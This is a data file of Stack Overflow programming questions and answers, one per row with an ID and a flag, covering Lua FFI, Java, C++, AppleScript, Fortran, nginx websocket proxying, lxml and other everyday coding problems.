39740765	0	 <p><code>tostring</code> is being passed an address, and so gives you the string representation of that address. You need <code>ffi.string</code> instead.</p> <pre><code>local str = ffi.string(ffi.C.getString(5)) </code></pre> <p>Now <code>str</code> is a Lua string containing what was returned by your Pascal code.</p> <p>Your other perhaps bigger problem is surely that you are allocating a string on the Pascal module's heap with no obvious way of deallocating it.</p>
22302785	0	 <p>use this code:</p> <pre><code> public class KeyboardInput extends Thread{ Scanner sc= new Scanner(System.in); @Override public void run() { while(true) { sc.hasNext(); } } } </code></pre> <p>Then just call this when you want to start the input:</p> <pre><code>Thread t1= new Thread(new KeyboardInput); t1.start(); </code></pre> <p>Now you have a thread that reads inputs while the main thread is free to print to screen</p> <p>EDIT: be sure to only call the thread once!</p>
30330509	0	Change color of links in NUnit Test Runner in Resharper <p>I prefer to use the dark theme in Visual Studio, but one source of annoyance is the links in Resharper's nUnit Test Runner. I've looked everywhere, but I can't seem to find the option to change to get them to display properly.</p> <p>Specifically, this the Unit Test Session window, the Output tab, when you have a stack trace and it has a link on it, it currently appears in the default dark blue, which is fine on a white/grey background...however on the black background, it looks horrible and is near impossible to read.</p> <p>Does anyone know the option to change the color of that link?</p>
33967306	0	 <p>Do you mean you want to loop through them?</p> <p>If that's the case I'd probably use a multidimentional array (or arraylist)..</p> <pre><code>JButton[][] bttns = new JButton[5][16](); for(int i = 0; i &lt; bttns.length; i++) { for(int i2 = 0; i2 &lt; bttns[0].length; i2++) { bttns[i][i2].setText( String.valueOf(sh.charAt(i*bttns[0].length + i2)) ); bttns[i][i2].setVisible(True);; } } </code></pre> <p>etc.</p>
11564053	0	C++ Referencing an Object from a global static function <p>I have a globally declared static function that needs to reference an object, but when I do so, I get an "undeclared identifier" error.</p> <p>Here is a sample of my code</p> <pre><code>#pragma once #include "stdafx.h" #include &lt;vector&gt; #include "Trigger.h" using namespace std; namespace Gamma_Globals { static vector&lt;void*&gt; gvTriggers; } static LPARAM CALLBACK ProgramWndProc(HWND, UINT, WPARAM, LPARAM); static LPARAM CALLBACK ProgramWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_KEYUP: { for (int i = 0; i &lt; Gamma_Globals::gvTriggers.size(); i++) { Trigger t = Gamma_Globals::gvTriggers[i]; } } default: return DefWindowProc(hWnd, uMsg, wParam, lParam); break; } return 0; } </code></pre> <p>The issue comes in the WM_KEYUP case, when I tried to set "Trigger t", I get the error "'Trigger' : undeclared identifier." What can I do to reference the Trigger object from ProgramWndProc?</p> <p>Thanks!</p> <hr> <p>As requested, here is a copy of Trigger.h</p> <pre><code>#pragma once #include "Noun.h" #include "TermFactory.h" #include "Globals.h" using namespace std; class Trigger { public: enum TRIGGER_TYPE {NONE, ONKEYPRESS, ONMOUSEPRESS}; Trigger(void*); Trigger(LPTSTR trigger, LPTSTR action, Gamma_Globals::TRIGGER_TIME); ~Trigger(void); VOID Perform(); TRIGGER_TYPE GetType(); private: LPTSTR lpCondition; LPTSTR lpAction; Gamma_Globals::TRIGGER_TIME triggerTime; vector&lt;Noun*&gt; vNouns; TRIGGER_TYPE triggerType; VOID LoadAction(LPTSTR Action); HRESULT LoadCondition(LPTSTR Condition); }; </code></pre>
8824737	0	 <p>Check <a href="http://stackoverflow.com/questions/307004/changing-the-cursor-in-wpf-sometimes-works-sometimes-doesnt">this question</a>, especially the answer with the <code>OverrideCursor</code> class.</p>
3013917	0	 <p>With Following guide, you can access iPod media</p> <p><a href="http://developer.apple.com/iphone/library/documentation/Audio/Conceptual/iPodLibraryAccess_Guide/Introduction/Introduction.html" rel="nofollow noreferrer">http://developer.apple.com/iphone/library/documentation/Audio/Conceptual/iPodLibraryAccess_Guide/Introduction/Introduction.html</a></p> <p>Also for images, </p> <p><a href="http://developer.apple.com/iphone/library/documentation/UIKit/Reference/UIImagePickerController_Class/UIImagePickerController/UIImagePickerController.html" rel="nofollow noreferrer">http://developer.apple.com/iphone/library/documentation/UIKit/Reference/UIImagePickerController_Class/UIImagePickerController/UIImagePickerController.html</a></p>
1069662	0	 <p>I figured out a workaround... Since I am not making any changes to the DocumentLibrary list schema, i can just reference that list and only need a ListInstance element that references the DocumentLibrary feature and list TemplateType. So my Elements will now look like this:</p> <pre><code> &lt;ListInstance FeatureId="00BFEA71-E717-4E80-AA17-D0C71B360101" TemplateType="101" Id="Pages" Title="Content Pages" Description="Web Site Content Pages" Url="Pages" OnQuickLaunch="True" /&gt; </code></pre>
35650909	0	 <p>There is no option to directly assign php variables to javascript. To do this you need to assign assign it to html elements like,</p> <pre><code>&lt;input type="hidden" id ="amazon" value="&lt;?php echo $is_amazon; ?&gt;"&gt; </code></pre> <p>We can get the value in jquery from this html element by using this code,</p> <pre><code>var amazon = $('#amazon').val(); </code></pre> <p>For security reasons the php variables cant assign to javascript variables. </p>
40046142	0	 <p>You can create your own CSS file. Then your have imported the CSS file on client side.</p> <p>You need to write following CSS in that file.</p> <pre><code>.wrapper { position: initial; //You can use !important in case it doesn't overwrite the CSS. } </code></pre> <blockquote> <p>Note: Pleae make sure your file load after the admin lte css files.</p> </blockquote>
34995926	0	How to validate input array with a same name in laravel controller <p>I have a problem when a i try to insert record into table like this .</p> <pre><code>$data = array(); foreach($input['user_id'] as $key =&gt; $user_id) { $data[$key]['user_id'] = $user_id; } foreach($input['start_on'] as $key =&gt; $start_on) { $data[$key]['start_on'] = $start_on; } $this-&gt;validate($request, [ 'time_start' =&gt; 'required|date', 'time_end' =&gt; 'required|date|after:time_start', ]); $rules = [ 'start_on' =&gt; 'required|date|after:time_start|before:time_end|different:start_on' ]; // Iterate and validate each question foreach ($data as $value) { $validator = Validator::make( $value, $rules ); // if ($validator-&gt;fails()) return $validator-&gt;messages()-&gt;all(); } </code></pre> <p>I want to check start_on not equals another start_on.So what can i do?</p>
24498380	0	duplicate folder & contents, rename folder, pre-pend folder name to contents <p>Im hoping someone could help in building a small applescript. So far i havent found a solution that does exactly what i need.</p> <p>I have single folder with multiple files inside it. What i wish to do is to Duplicate that folder(with its contents) and have a prompt come up to input a new name for that folder. I also wish to Pre-pend the new name of that folder to all of the files inside it. Saving the folder(and contents) to a set location. (/Users/David/Custom)</p> <p><strong>Eg. Original structure;</strong> Folder name: "MainTemplate" Folder contents: "about.txt", "photo.jpg", "info.doc", etc. </p> <p><strong>Post-duplication;</strong> Folder name: "John The Dog" Folder contents: "John The Dog-about.txt", "John The Dog-photo.jpg", "John The Dog-info.doc", etc.</p> <h2>Thank you for your time.</h2> <p>NEW</p> <p>Ok, i've been working at this for 5+ hours. Re-naming the files is what i cant manage to figure out. Could someone please help me with this part? Also, maybe the script could be improved? Thanks!</p> <pre><code>on run {input, parameters} tell application "Finder" set theFolder to folder "OS X:Users:David:Desktop:SCRIPT:script-copy" set targetFolder to folder "OS X:Users:David:Desktop:SCRIPT:script-copy-finished" display dialog "Which structure do you wish to duplicate?" buttons {"Structure-MAIN", "Structure-OTHER"} set chosenStructure to button returned of result if contents of chosenStructure is equal to "Structure-MAIN" then set chosenStructure to "OS X:Users:David:Desktop:SCRIPT:script-copy:-MAIN" else set chosenStructure to "OS X:Users:David:Desktop:SCRIPT:script-copy:-OTHER" end if display dialog "Specify a new folder name:" default answer "John The Dog" set newName to (text returned of result) set createNewStructure to make new folder at targetFolder with properties {name:newName} duplicate every file of entire contents of folder chosenStructure to createNewStructure set the_folder to name of folder chosenStructure repeat with this_file in (get files of entire contents of folder chosenStructure) set the_start to offset of "_" in ((name of this_file) as string) set the_stop to count (name of this_file as string) set name of this_file to (the_folder &amp; (items the_start thru the_stop of (name of this_file as string))) end repeat end tell return input end run </code></pre>
27849224	0	 <p>No - you will need to process the file "manually". Read it into a string, go looking for the first non-blank, then go looking for the next blank, then use internal io to read the relevant bits, etc.</p> <p>As you have found, list directed io (using <code>*</code> as the format specifier) has some surprising features - one of them being that the slash character (<code>/</code>) in input means "stop reading here and leave remaining variables in the IO list as they were". This doesn't work well when you have paths that contain slashes!</p> <p>Just for fun...</p> <pre><code>PROGRAM read_some_things IMPLICIT NONE ! Some number bigger than most of the lines to be read. INTEGER, PARAMETER :: line_buffer_size = 28 ! Index of the start of the value of i in filename. INTEGER, PARAMETER :: pos_i_in_filename = 10 ! Index of the start of the value of j in filename. INTEGER, PARAMETER :: pos_j_in_filename = 13 CALL process_a_file CONTAINS SUBROUTINE process_a_file INTEGER :: unit ! Unit number for IO. CHARACTER(:), ALLOCATABLE :: line ! A line from the file. INTEGER :: iostat ! IOSTAT code. CHARACTER(256) :: iomsg ! IOMSG to go with IOSTAT INTEGER :: n, i, j ! Numbers of interest. OPEN( NEWUNIT=unit, FILE='2015-01-09 read_some_things.txt', &amp; ACTION='READ', STATUS='OLD', POSITION='REWIND' ) DO CALL read_a_line(unit, line, iostat, iomsg) IF (IS_IOSTAT_END(iostat)) EXIT IF (iostat /= 0) THEN PRINT "('Error number ',I0,' reading file: ',A)", &amp; iostat, TRIM(iomsg) ERROR STOP ':(' END IF ! What to do with an empty record? ! IF (LEN_TRIM(line) == 0) CALL Start_WW3 CALL chop_a_line(line, n, i, j) PRINT "(2X,I0,1X,I0,1X,I0)", n, i, j END DO CLOSE(unit) END SUBROUTINE process_a_file ! Parse a line into numbers of interest. SUBROUTINE chop_a_line(line, n, i, j) CHARACTER(*), INTENT(IN) :: line ! The line to chop. INTEGER, INTENT(OUT) :: n ! Things we got... INTEGER, INTENT(OUT) :: i INTEGER, INTENT(OUT) :: j ! Various significnat character positions in the line. INTEGER :: first_non_blank_pos INTEGER :: next_blank_pos INTEGER :: before_filename_pos ! Buffer for assembling a format specification. CHARACTER(100) :: fmt ! Find start of first non-blank group. first_non_blank_pos = VERIFY(line, ' ') ! Tolerate its non-existence - this may be zero. ! Find start of the following blank group, starting from after ! the beginning of the first non-blank group. next_blank_pos = SCAN(line(first_non_blank_pos+1:), ' ') ! It had better exist. If it doesn't, confuse user. IF (next_blank_pos == 0) ERROR STOP 'I didn''t draw any blanks' next_blank_pos = next_blank_pos + first_non_blank_pos ! Find start of the second group of non-blanks, backup one. before_filename_pos = VERIFY(line(next_blank_pos:), ' ') ! It had better exist. If it doesn't, annoy user. IF (before_filename_pos == 0) ERROR STOP 'Line in file with no file!' ! Note -2 to backup one and remember position before filename. before_filename_pos = before_filename_pos + next_blank_pos - 2 ! This specifies: ! - read all prior to filename as integer, ! - then skip to start of i, read I2, ! - then skip to start of j, read I2. WRITE (fmt, "('(I',I0,',T',I0,',I2,T',I0,',I2)')") &amp; before_filename_pos, &amp; before_filename_pos + pos_i_in_filename, &amp; before_filename_pos + pos_j_in_filename READ (line, fmt) n, i, j END SUBROUTINE chop_a_line ! Read a record into a character variable. Pretty common task... SUBROUTINE read_a_line(unit, line, iostat, iomsg) INTEGER, INTENT(IN) :: unit ! Unit to read from. CHARACTER(:), INTENT(OUT), ALLOCATABLE :: line ! The record read. INTEGER, INTENT(OUT) :: iostat ! +ve on error, -ve on eof. CHARACTER(*), INTENT(OUT) :: iomsg ! IOMSG if iostat /= 0 ! Buffer to read record fragment. CHARACTER(line_buffer_size) :: buffer INTEGER :: size ! Amount read per read. line = '' DO ! Read a bit without always advancing to the next record. READ ( unit, "(A)", ADVANCE='NO', SIZE=size, IOSTAT=iostat, &amp; IOMSG=iomsg ) buffer IF (iostat &gt; 0) RETURN ! Bail on fail. ! Philosophical discussion about whether EOF is possible ! and SIZE /= 0 goes here (consider STREAM access). line = line // buffer(:size) ! Append what we got. ! Exit loop on end of file or end of record. IF (iostat &lt; 0) EXIT END DO ! End of record is expected, not a relevant condition to return. IF (IS_IOSTAT_EOR(iostat)) iostat = 0 END SUBROUTINE read_a_line END PROGRAM read_some_things </code></pre>
32681207	0	Redirect .aspx URL's to non .aspx URL's - using htaccess <p>I recently moved my website from a ASP/IIS server to a LINUX/APACHE:</p> <p>Most of my new URL's looks the same, but without .aspx extension.</p> <p>OLD: <code>http://example.com/yankees-news.aspx</code><br> NEW: <code>http://example.com/yankees-news</code></p> <p>I want search engine users clicking on old URL's/Links to Redirect to new URLs.</p>
29098447	0	 <p>The solution is to use <code>Stream.collect</code>. To create a Collector using its builder pattern is already given as solution. The alternative is the other overloaded <code>collect</code> being a tiny bit more primitive.</p> <pre><code> List&lt;String&gt; strings = Arrays.asList("a", "b", null, "c", null, "d", "e"); List&lt;List&lt;String&gt;&gt; groups = strings.stream() .collect(() -&gt; { List&lt;List&lt;String&gt;&gt; list = new ArrayList&lt;&gt;(); list.add(new ArrayList&lt;&gt;()); return list; }, (list, s) -&gt; { if (s == null) { list.add(new ArrayList&lt;&gt;()); } else { list.get(list.size() - 1).add(s); } }, (list1, list2) -&gt; { // Simple merging of partial sublists would // introduce a false level-break at the beginning. list1.get(list1.size() - 1).addAll(list2.remove(0)); list1.addAll(list2); }); </code></pre> <p>As one sees, I make a list of string lists, where there always is at least one last (empty) string list.</p> <ul> <li>The first function creates a starting list of string lists. <strong>It specifies the result (typed) object.</strong></li> <li>The second function is called to process each element. <strong>It is an action on the partial result and an element.</strong></li> <li>The third is not really used, it comes into play on parallelising the processing, when partial results must be combined.</li> </ul> <hr> <p><strong><em>A solution with an accumulator:</em></strong></p> <p><em>As @StuartMarks points out, the combiner does not fullfill the contract for parallelism.</em></p> <p>Due to the comment of @ArnaudDenoyelle a version using <code>reduce</code>.</p> <pre><code> List&lt;List&lt;String&gt;&gt; groups = strings.stream() .reduce(new ArrayList&lt;List&lt;String&gt;&gt;(), (list, s) -&gt; { if (list.isEmpty()) { list.add(new ArrayList&lt;&gt;()); } if (s == null) { list.add(new ArrayList&lt;&gt;()); } else { list.get(list.size() - 1).add(s); } return list; }, (list1, list2) -&gt; { list1.addAll(list2); return list1; }); </code></pre> <ul> <li>The first parameter is the accumulated object.</li> <li>The second function accumulates.</li> <li>The third is the aforementioned combiner.</li> </ul>
23036069	0	 <p>Just set this style:</p> <pre><code>.thumbnail:hover img { border: solid 5px green; margin: -5px; } </code></pre> <p>The margin is to avoid the "changing position" effect</p> <p><a href="http://jsfiddle.net/hbgqh/" rel="nofollow">demo</a></p>
11273343	0	 <p>To decode the content using PHP, use this : </p> <pre> $decoded_string = urldecode('put encoded string here'); </pre>
8230438	0	download file from absolute uri to stream to SaveFileDialog <p>I've gotten as far as putting a file into a stream from a url. However puttin savefiledialog inside the event OpenReadCompleted gives an exception because the savefiledialog needs to be fired from an user iniated event. Putting the savefiledialog NOT inside OpenReadCompleted gives an error because the bytes array is empty, not yet processed. Is there another way to save a file to stream from a uri without using an event?</p> <pre><code>public void SaveAs() { WebClient webClient = new WebClient(); //Provides common methods for sending data to and receiving data from a resource identified by a URI. webClient.OpenReadCompleted += (s, e) =&gt; { Stream stream = e.Result; //put the data in a stream MemoryStream ms = new MemoryStream(); stream.CopyTo(ms); bytes = ms.ToArray(); }; //Occurs when an asynchronous resource-read operation is completed. webClient.OpenReadAsync(new Uri("http://testurl/test.docx"), UriKind.Absolute); //Returns the data from a resource asynchronously, without blocking the calling thread. try { SaveFileDialog dialog = new SaveFileDialog(); dialog.Filter = "All Files|*.*"; //Show the dialog bool? dialogResult = dialog.ShowDialog(); if (dialogResult != true) return; //Get the file stream using (Stream fs = (Stream)dialog.OpenFile()) { fs.Write(bytes, 0, bytes.Length); fs.Close(); //File successfully saved } } catch (Exception ex) { //inspect ex.Message MessageBox.Show(ex.ToString()); } } </code></pre>
38128598	0	Strange SIGPIPE in loop <p>After dealing with a very strange error in a C++ program I was writing, I decided to write the following test code, confirming my suspicion. In the original program, calling <code>send()</code> and <code>this_thread::sleep_for()</code> (with any amount of time) in a loop 16 times caused send to fail with a <code>SIGPIPE</code> signal. In this example however, it fails after 4 times. </p> <p>I have a server running on port 25565 bound to localhost. The original program was designed to communicate with this server. I'm using the same one in this test code because it doesn't terminate connections early. </p> <pre><code>int main() { struct sockaddr_in sa; memset(sa.sin_zero, 0, 8); sa.sin_family = AF_INET; inet_pton(AF_INET, "127.0.0.1", &amp;(sa.sin_addr)); sa.sin_port = htons(25565); cout &lt;&lt; "mark 1" &lt;&lt; endl; int sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock, (struct sockaddr *) &amp;sa, sizeof(sa)); cout &lt;&lt; "mark 2" &lt;&lt; endl; for (int i = 0; i &lt; 16; i++) { cout &lt;&lt; "mark 3" &lt;&lt; endl; cout &lt;&lt; "sent " &lt;&lt; send(sock, &amp;i, 1, 0) &lt;&lt; " byte" &lt;&lt; endl; cout &lt;&lt; "errno == " &lt;&lt; errno &lt;&lt; endl; cout &lt;&lt; "i == " &lt;&lt; i &lt;&lt; endl; this_thread::sleep_for(chrono::milliseconds(2)); } return 0; } </code></pre> <p>Running it in GDB is how I discovered it was emitting SIGPIPE. Here is the output of that: <a href="http://pastebin.com/gXg2Y6g1" rel="nofollow">http://pastebin.com/gXg2Y6g1</a> </p> <p>In another test, I called <code>this_thread::sleep_for()</code> 16 times in a loop, THEN called <code>send()</code> once. This did NOT produce the same error. It ran without issue. </p> <p>In yet another test, I commented out the thread sleeping line, and it ran all the way through just fine. I did this in both the original program and the above test code. </p> <p>These results make me believe it's not a case of the server closing the connection, even though that's usually what SIGPIPE means (why did it run fine when there was no call to <code>this_thread::sleep_for()</code>?). </p> <p>Any ideas as to what could be causing this? I've been messing around with it for a week and have gotten no further.</p>
40682585	0	 <p>I'd avoid it. My biggest issue with it is that sometimes you're returning a list, and sometimes you're returning an object. I'd make it work on a list <em>or</em> an object, and then have the user deal with either wrapping the object, of calling the function in a list comprehension.<br> If you really do need to have it work on both I think you're better off using:</p> <pre><code>def func(obj): if not isinstance(obj, list): obj = [obj] # continue </code></pre> <p>That way you're always returning a list.</p>
38582304	0	How to Rotate an element Counterclockwise <p>I know we can rotate an element anticlockwise by using negative sign</p> <p><code>transform : rotate(-20deg);</code></p> <p>But this is only for x-axis. I want to rotate element along the y-axis. i tried </p> <p><code>transform : rotateY(-20deg);</code></p> <p>this doesn't works it rotate the element in same direction as we are using:</p> <p><code>transform : rotateY(20deg);</code></p> <p>i am searching for an answer for half-hour . please help. </p>
34501567	0	Proxy a websocket to hide the IP <p>I have a sub domain routed through cloudflare. They don't cover websockets unless it enterprise or maybe business depending on traffic.</p> <p>So now when users visit the external site, it connects to my sub domain via a websocket with the url of my site being passed in their url.</p> <pre><code>e.g thridpartysite.com?ws=my.subdomain.com </code></pre> <p>But my IP is revealed and I am worried about DDoS. </p> <p>I am using nginx and ubuntu 14.04. Is there anything I can do to mask the IP? </p> <p>Here is my current nginx config</p> <pre><code># Config server { listen 80; listen [::]:80; server_name my.subdomain.com www.my.subdomain.com; location / { proxy_pass http://MySubdomainIP:443; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } </code></pre> <p>So it takes the app on 443 and proxies to 80 so I can route that through cloudflare but no websocket support means I need to reveal my IP which leaves me open to DDoS attacks.</p> <p>Is there anything I can do at this point?</p>
9090832	0	 <p>Add some class("children") to the <code>ul</code> container which contain all the child <code>li</code> and try this code.</p> <pre><code>$('#one').live('click', function(){ $('ul.children li:not(.uno)').slideUp(); $('ul.children li.uno').slideToggle(); return false; }); $('#two').live('click', function(){ $('ul.children li:not(.dos)').slideUp(); $('ul.children li.dos').slideToggle(); return false; }); $('#three').live('click', function(){ $('ul.children li:not(.trees)').slideUp(); $('ul.children li.trees').slideToggle(); return false; }); </code></pre> <p><strong><a href="http://jsfiddle.net/ANhJq/2/" rel="nofollow">Demo</a></strong></p>
38910227	1	How to prevent lxml from adding a default doctype <p>lxml seems to add a default doctype when one is missing in the html document.</p> <p>See this demo code:</p> <pre><code>import lxml.etree import lxml.html def beautify(html): parser = lxml.etree.HTMLParser( strip_cdata=True, remove_blank_text=True ) d = lxml.html.fromstring(html, parser=parser) docinfo = d.getroottree().docinfo return lxml.etree.tostring( d, pretty_print=True, doctype=docinfo.doctype, encoding='utf8' ) with_doctype = """ &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;With Doctype&lt;/title&gt; &lt;/head&gt; &lt;/html&gt; """ # This passes! assert "DOCTYPE" in beautify(with_doctype) no_doctype = """&lt;html&gt; &lt;head&gt; &lt;title&gt;No Doctype&lt;/title&gt; &lt;/head&gt; &lt;/html&gt;""" # This fails! assert "DOCTYPE" not in beautify(no_doctype) # because the returned html contains this line # &lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt; # which was not present in the source before </code></pre> <hr> <p>How can I tell lxml to not do this?</p> <p>This issue was originally raised here: <a href="https://github.com/mitmproxy/mitmproxy/issues/845" rel="nofollow">https://github.com/mitmproxy/mitmproxy/issues/845</a></p> <p>Quoting a <a href="https://www.reddit.com/r/Python/comments/42rb90/comparing_execution_time_of_pretty_printing_an/czclx15" rel="nofollow">comment on reddit</a> as it might be helpful:</p> <blockquote> <p>lxml is based on libxml2, which does this by default unless you pass the option <code>HTML_PARSE_NODEFDTD</code>, I believe. Code <a href="https://github.com/GNOME/libxml2/blob/master/HTMLparser.c#L4777" rel="nofollow">here</a>.</p> <p>I don't know if you can tell lxml to pass that option though.. libxml has python bindings that you could perhaps use directly but they seem really hairy.</p> <p>EDIT: did some more digging and that option does appear in the lxml soure <a href="https://github.com/lxml/lxml/blob/master/src/lxml/includes/htmlparser.pxd#L20" rel="nofollow">here</a>. That option does exactly what you want but I'm not sure how to activate it yet, if it's even possible.</p> </blockquote>
1213448	1	Is it possible to utilize a python module that isnt installed into the python directories in linux? <p>I have a python application that depends on the uuid module, but on the server where I need to run it, uuid is not installed. I do not have root on the server so I cannot place the uuid .pys in the /usr/lib/python2.4/site-packages folder... is there a way that I can utilize the .py's from elsewhere? like my ~ ?</p>
21554839	0	The menu is not displayed in mac os 10.9.1 <p>In my application used "Application is agent(UIElement)" = YES.</p> <p>I use it to hide the second process. But first process need show.</p> <p>For show process I used code:</p> <pre><code>// display dock icon TransformProcessType(&amp;psn, kProcessTransformToForegroundApplication); // enable menu bar SetSystemUIMode(kUIModeNormal, 0); // switch to Dock.app [[NSWorkspace sharedWorkspace] launchAppWithBundleIdentifier:@"com.apple.dock" options:NSWorkspaceLaunchDefault additionalEventParamDescriptor:nil launchIdentifier:nil]; // switch back [[NSApplication sharedApplication] activateIgnoringOtherApps:TRUE]; </code></pre> <p>The problem is that the menu is not displayed. But if you switch to some other program and back, the menu appears.</p>
20523365	0	 <p>The problem is that the "enddate" from your database isn't a number, it's a string.</p> <p>You should convert it to numbers:</p> <pre><code>$now = time(); $sql="SELECT enddate FROM campaigns WHERE id=".$data['camp']; $query = mysqli_query($db, $sql); while($result = mysqli_fetch_assoc($query)){ $db = strtotime($result); if($now &gt; $db) { // expired echo "&lt;script type='text/javascript'&gt;alert('This Workshop Has Expired'); &lt;/script&gt;"; exit; } else { // not expired echo "&lt;script type='text/javascript'&gt;alert('Thank You For Registering');&lt;/script&gt;"; exit; } } </code></pre>
19671043	0	 <p>I've got exactly the same question. The problem as I see it is that the view login_form is designed to cater for everything (forgotten passwords, captchas, etc) in one. What I'm trying to create is a system where there is the quick login, and then if needed, another view to deal with registration, forgotten passwords, etc. I'm struggling to separate out the two objectives from this one login_form form. </p> <p>The auth controller login function has all that logic, and then simply $this->load->view('auth/login_form', $data);</p>
15383017	0	 <pre><code>var products = (from p in db.GetAll() select new ProductViewModel{ ID = p.Id, .... }); </code></pre>
27011654	0	Android ArrayList: check an element exists of another ArrayList <p>I have two <code>ArrayList</code>.</p> <pre><code>private ArrayList&lt;Friend&gt; friendsList = new ArrayList&lt;Friend&gt;(); private ArrayList&lt;Friend&gt; myFriendsList = new ArrayList&lt;Friend&gt;(); </code></pre> <p>First one contains all <code>Friend</code> of database. Second one contains only user <code>Friend</code>. In my search option(<code>SearchManager</code>) i've a <code>ListView</code> contains searched friends of <code>friendsList</code>. When i select a <code>Friend</code> of <code>ListView</code>, i want to check if the <code>Friend</code> exists in <code>myFriendsList</code>. I used following code</p> <pre><code>friendListView .setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { handelListItemClick(adapter.getItem(position)); } }); private void handelListItemClick(Friend friend) { for(Friend fr: myFriendsList){ Log.v("Check User Name:", fr.getName()); } if (myFriendsList.contains(friend)) {works with matched friend} </code></pre> <p>But it can't check the selected <code>Friend</code> in <code>myFriendsList</code>. In <code>LogCat</code> it show <code>myFriendsList</code> information. Thanks in advance.</p> <p><strong>Update</strong> Here is my <code>Friend</code> class</p> <pre><code>public class Friend { private String id, name, thumbnailUrl; public Friend() { } public Friend(String name, String thumbnailUrl) { this.name = name; this.thumbnailUrl = thumbnailUrl; } public Friend(String name, String thumbnailUrl, String id) { this.name = name; this.thumbnailUrl = thumbnailUrl; this.id = id; } public String getID(){ return id; } public void setID(String id){ this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getThumbnailUrl() { return thumbnailUrl; } public void setThumbnailUrl(String thumbnailUrl) { this.thumbnailUrl = thumbnailUrl; } </code></pre> <p>}</p>
6942445	0	 <p>I have had mixed results using TemplateBinding on custom dependency properties. Because of this, I have used RelativeSource TemplatedParent which seems to work in every situation.</p> <pre><code>&lt;EasingColorKeyFrame KeyTime="0:0:.5" Value="{Binding HeaderColor, RelativeSource={RelativeSource TemplatedParent}}" /&gt; </code></pre>
16720560	0	 <p>If you want to check if a variable (say v) has been defined and is not null:</p> <pre><code>if (typeof v !== 'undefined' &amp;&amp; v !== null) { // Do some operation } </code></pre> <p>If you want to check for all falsy values such as: <code>undefined</code>, <code>null</code>, <code>''</code>, <code>0</code>, <code>false</code>:</p> <pre><code>if (v) { // Do some operation } </code></pre>
32275172	0	 <p>Use the <code>content</code> property in <code>::after</code> or <code>::before</code> pseudo-element to add additional text.</p> <p>You can also position it elsewhere with <code>absolute</code> and <code>top</code>/<code>bottom</code>,<code>left</code>/<code>right</code> properties.</p> <pre><code>#site-title::after { content: "Another Title"; /* If you need to position it, uncomment and modify the below values position: absolute; top: -5px; left: 20px */ } /* Add below rule if you need to position the additional text w.r.t to the current title */ #site-title{ position: relative; } </code></pre> <p><strong>Output:</strong></p> <p><a href="https://i.stack.imgur.com/N7moz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/N7moz.png" alt="enter image description here"></a></p>
36328466	0	 <p>After have run the command: npm install orientjs</p> <p>Save this code in a file.js:</p> <pre><code>var OrientDB = require('orientjs'); var server = OrientDB({ host: 'localhost', port: 2424, username: 'root', password: 'root' }); var db = server.use({ name: 'GratefulDeadConcerts', username: 'root', password: 'root' }); server.close(); </code></pre> <p><strong>UPDATE</strong></p> <pre><code>var OrientDB = require('orientjs'); var server = OrientDB({ host: 'localhost', port: 2424, username: 'root', password: 'root' }).use({ name: 'GratefulDeadConcerts', username: 'root', password: 'root' }); server.close(); </code></pre> <p>Hope it helps</p>
4691794	0	 <p>You also can set NavigateUrl property in code-behind file, in Page_Load event handler, for instance. It will work.</p> <p>In the code-behind class:</p> <pre><code> protected void Page_Load(object sender, EventArgs e) { HyperLink2.NavigateUrl = "~/Default.aspx?customer=&amp;CompanyName=" + Server.UrlEncode("abc#"); } </code></pre> <p>And in markup:</p> <pre><code>&lt;%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head runat="server"&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div&gt; &lt;asp:HyperLink ID="HyperLink2" runat="server" Target="_new"&gt;wc &lt;/asp:HyperLink&gt; &lt;/div&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
32920954	0	 <p>The simplest solution is to use</p> <pre><code>new Loadable(); </code></pre> <p>if the class is know at compile time and you expect it to be available at runtime. Note: this will throw a <code>NoClassDefError</code> at runtime if it is not available.</p> <p>If you are not sure it will be available a runtime, you might use </p> <pre><code>Class.forName("classload.Loadable").newInstance(); </code></pre> <p>as it is clearer as to which exceptions will be thrown.</p> <p>The problem with</p> <pre><code>classload.Loadable.class.newInstance() </code></pre> <p>is that it's not particularly useful in either context. </p> <p>Note: <code>Class.newInstance()</code> has a known issue were it will throw <em>checked</em> exceptions which you don't know about. i.e. if the Constructor throws a checked exception it won't be wrapped and the compiler can't tell what will be thrown.</p>
24370558	0	 <p>You want to inspect the <a href="http://msdn.microsoft.com/en-us/library/system.environment.commandline%28v=vs.110%29.aspx" rel="nofollow">Environment.CommandLine</a> Property</p> <blockquote> <p>This property provides access to the program name and any arguments specified on the command line when the current process was started.</p> <p>The program name can include path information, but is not required to do so. Use the <a href="http://msdn.microsoft.com/en-us/library/system.environment.getcommandlineargs.aspx" rel="nofollow">GetCommandLineArgs</a> method to retrieve the command-line information parsed and stored in an array of strings.</p> </blockquote>
35705887	0	 <p>You can do something like below, this gives the counters as (propertyName, propertyValue) pairs.</p> <pre><code>with T1 as ( select GetArrayElement(iotInput.performanceCounter, 0) Counter, System.Timestamp [EventTime] from iotInput timestamp by context.data.eventTime ) select [EventTime], Counter.categoryName, Counter.available_bytes [Value] from T1 where Counter.categoryName = 'Memory' union all select [EventTime], Counter.categoryName, Counter.percentage_processor_time [Value] from T1 where Counter.categoryName = 'Process' </code></pre> <p>Query that gives one column per counter type can also be done, you will have to either do a join or a group by with 'case' statements for every counter.</p>
